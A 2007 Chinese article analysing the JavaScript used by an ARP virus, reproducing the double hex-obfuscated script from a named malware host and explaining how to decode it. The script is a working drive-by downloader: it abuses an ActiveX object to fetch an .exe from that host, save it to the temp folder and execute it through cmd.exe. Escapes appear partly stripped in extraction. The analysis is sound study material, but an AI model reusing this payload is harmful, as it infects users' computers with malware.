豆豆网 > 技术应用 > 安全技术 > 杀毒技术 > 病毒理论 > 正文

arp病毒利用的Javascript技术

豆豆网技术应用频道 2007年08月08日社区交流

内容摘要：本文的目的是探讨JS相关技术，并不是以杀毒为主要目的，杀毒只是为讲解一些JS做铺垫的，呵呵，文章有点长，倒杯咖啡或者清茶慢慢看，学习切勿急躁！

　　2、下载（http://9-6.in/S368/NewJs2.js）这个文件，代码如下：

StrInfo =　"x3cx73x63x72x69x70x74x3ex77x69x6ex64x6fx77x2ex6fx6ex65x72x72x6fx72x3dx66x75x6ex63x74x69x6fx6ex28x29x7bx72x65x74x75x72x6e x74x72x75x65x3bx7dx3cx2fx73x63x72x69x70x74x3e" +"
"+
　"x3cx73x63x72x69x70x74x3e" +"
"+
　" x44x5ax3d'\x78x36x38\x78x37x34\x78x37x34\x78x37x30\x78x33x41\x78x32x46\x78x32x46\x78x33x39\x78x32x44\x78x33x36\x78x32x45\x78x36x39\x78x36x45\x78x32x46\x78x35x33\x78x33x33\x78x33x36\x78x33x38\x78x32x46\x78x35x33\x78x33x33\x78x33x36\x78x33x38\x78x32x45\x78x36x35\x78x37x38\x78x36x35'x3b" +"
"+
　" x4ex6fx73x6bx73x6cx61x3d''x3b" +"
"+
　"x66x75x6ex63x74x69x6fx6e x47x6ex4dx73x28x6ex29 " +"
"+
　"x7b " +"
"+
　" x76x61x72 x6ex75x6dx62x65x72x4dx73 x3d x4dx61x74x68x2ex72x61x6ex64x6fx6dx28x29x2ax6ex3b" +"
"+
　" x72x65x74x75x72x6e '\x78x37x45\x78x35x34\x78x36x35\x78x36x44\x78x37x30'x2bx4dx61x74x68x2ex72x6fx75x6ex64x28x6ex75x6dx62x65x72x4dx73x29x2b'\x78x32x45\x78x37x34\x78x36x44\x78x37x30'x3b" +"
"+
　"x7d " +"
"+
　" x74x72x79 " +"
"+
　"x7b" +"
"+
　" x4ex6fx73x6bx73x6cx61x3d''x3b" +"
"+
　" x76x61x72 x42x66x3dx64x6fx63x75x6dx65x6ex74x2ex63x72x65x61x74x65x45x6cx65x6dx65x6ex74x28"\x78x36x46\x78x36x32\x78x36x41\x78x36x35\x78x36x33\x78x37x34"x29x3b" +"
"+
　" x42x66x2ex73x65x74x41x74x74x72x69x62x75x74x65x28"\x78x36x33\x78x36x43\x78x36x31\x78x37x33\x78x37x33\x78x36x39\x78x36x34"x2c"\x78x36x33\x78x36x43\x78x37x33\x78x36x39\x78x36x34\x78x33x41\x78x34x32\x78x34x34\x78x33x39\x78x33x36\x78x34x33\x78x33x35\x78x33x35\x78x33x36\x78x32x44\x78x33x36\x78x33x35\x78x34x31\x78x33x33\x78x32x44\x78x33x31\x78x33x31\x78x34x34\x78x33x30\x78x32x44\x78x33x39\x78x33x38\x78x33x33\x78x34x31\x78x32x44\x78x33x30\x78x33x30\x78x34x33\x78x33x30\x78x33x34\x78x34x36\x78x34x33\x78x33x32\x78x33x39\x78x34x35\x78x33x33\x78x33x36"x29x3b" +"
"+
　" x76x61x72 x4bx78x3dx42x66x2ex43x72x65x61x74x65x4fx62x6ax65x63x74x28"\x78x34x44\x78x36x39\x78x36x33\x78x37x32\x78x36x46\x78x37x33\x78x36x46\x78x36x36\x78x37x34\x78x32x45\x78x35x38"x2b"\x78x34x44\x78x34x43\x78x34x38\x78x35x34\x78x35x34\x78x35x30"x2c""x29x3b" +"
"+
　" x76x61x72 x41x53x3dx42x66x2ex43x72x65x61x74x65x4fx62x6ax65x63x74x28"\x78x34x31\x78x36x34\x78x36x46\x78x36x34\x78x36x32\x78x32x45\x78x35x33\x78x37x34\x78x37x32\x78x36x35\x78x36x31\x78x36x44"x2c""x29x3b" +"
"+
　" x4ex6fx73x6bx73x6cx61x3d''x3b" +"
"+
　" x41x53x2ex74x79x70x65x3dx31x3b" +"
"+
　" x4ex6fx73x6bx73x6cx61x3d''x3b" +"
"+
　" x4bx78x2ex6fx70x65x6ex28"\x78x34x37\x78x34x35\x78x35x34"x2c x44x5ax2cx30x29x3b" +"
"+
　" x4ex6fx73x6bx73x6cx61x3d''x3b" +"
"+
　" x4bx78x2ex73x65x6ex64x28x29x3b" +"
"+
　" x4ex6fx73x6bx73x6cx61x3d''x3b" +"
"+
　" x4ex73x31x3dx47x6ex4dx73x28x39x39x39x39x29x3b" +"
"+
　" x4ex6fx73x6bx73x6cx61x3d''x3b" +"
"+
　" x76x61x72 x63x46x3dx42x66x2ex43x72x65x61x74x65x4fx62x6ax65x63x74x28"\x78x35x33\x78x36x33\x78x37x32\x78x36x39\x78x37x30\x78x37x34\x78x36x39\x78x36x45\x78x36x37\x78x32x45\x78x34x36\x78x36x39\x78x36x43\x78x36x35\x78x35x33\x78x37x39\x78x37x33\x78x37x34\x78x36x35\x78x36x44\x78x34x46\x78x36x32\x78x36x41\x78x36x35\x78x36x33\x78x37x34"x2c""x29x3b" +"
"+
　" x76x61x72 x4ex73x54x6dx70x3dx63x46x2ex47x65x74x53x70x65x63x69x61x6cx46x6fx6cx64x65x72x28x30x29x3b x4ex73x31x3d x63x46x2ex42x75x69x6cx64x50x61x74x68x28x4ex73x54x6dx70x2cx4ex73x31x29x3b x41x53x2ex4fx70x65x6ex28x29x3bx41x53x2ex57x72x69x74x65x28x4bx78x2ex72x65x73x70x6fx6ex73x65x42x6fx64x79x29x3b" +"
"+
　" x41x53x2ex53x61x76x65x54x6fx46x69x6cx65x28x4ex73x31x2cx32x29x3b x41x53x2ex43x6cx6fx73x65x28x29x3b x76x61x72 x71x3dx42x66x2ex43x72x65x61x74x65x4fx62x6ax65x63x74x28"\x78x35x33\x78x36x38\x78x36x35\x78x36x43\x78x36x43\x78x32x45\x78x34x31\x78x37x30\x78x37x30\x78x36x43\x78x36x39\x78x36x33\x78x36x31\x78x37x34\x78x36x39\x78x36x46\x78x36x45"x2c""x29x3b" +"
"+
　" x6fx6bx31x3dx63x46x2ex42x75x69x6cx64x50x61x74x68x28x4ex73x54x6dx70x2b'\x78x35x43\x78x35x43\x78x37x33\x78x37x39\x78x37x33\x78x37x34\x78x36x35\x78x36x44\x78x33x33\x78x33x32'x2c'\x78x36x33\x78x36x44\x78x36x34\x78x32x45\x78x36x35\x78x37x38\x78x36x35'x29x3b" +"
"+
　" x71x2ex53x48x65x4cx4cx45x78x65x63x75x74x65x28x6fx6bx31x2c'\x78x32x30\x78x32x46\x78x36x33 'x2bx4ex73x31x2c""x2c"\x78x36x46\x78x37x30\x78x36x35\x78x36x45"x2cx30x29x3b" +"
"+
　" x4ex6fx73x6bx73x6cx61x3d''x3b" +"
"+
　"x7d " +"
"+
　" x63x61x74x63x68x28x4dx73x49x29 x7b x4dx73x49x3dx31x3b x7d" +"
"+
　" x4ex6fx73x6bx73x6cx61x3d''x3b" +"
"+
　"x3cx2fx73x63x72x69x70x74x3e"
window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65"](StrInfo);

　　这个代码有点长哦，而且有保护措施，全部转换为十六进制，不过不要害怕，我们有办法解决，首先得确保你已经安装了UE，然后打开UE，把代码粘贴进去（废话，呵呵），把x替换为%，然后用html代码转换功能，解码，就可以得到第一次解码的代码，第一次？？？，呵呵，这个代码的作者很变态的，做了两次编码，所以我得进行两次解码才行，重复刚才的步骤，然后你就可以看到最终的“原始”代码了；
具体的代码我就不帖出来了，有一定的危害性，相信大家看了上面的步骤都能自己找到代码，这里之说一下比较核心的代码吧；

来源：蓝色理想作者：veking 责编：豆豆技术应用

点击搜索更多"arp病毒"相关信息

正在加载评论...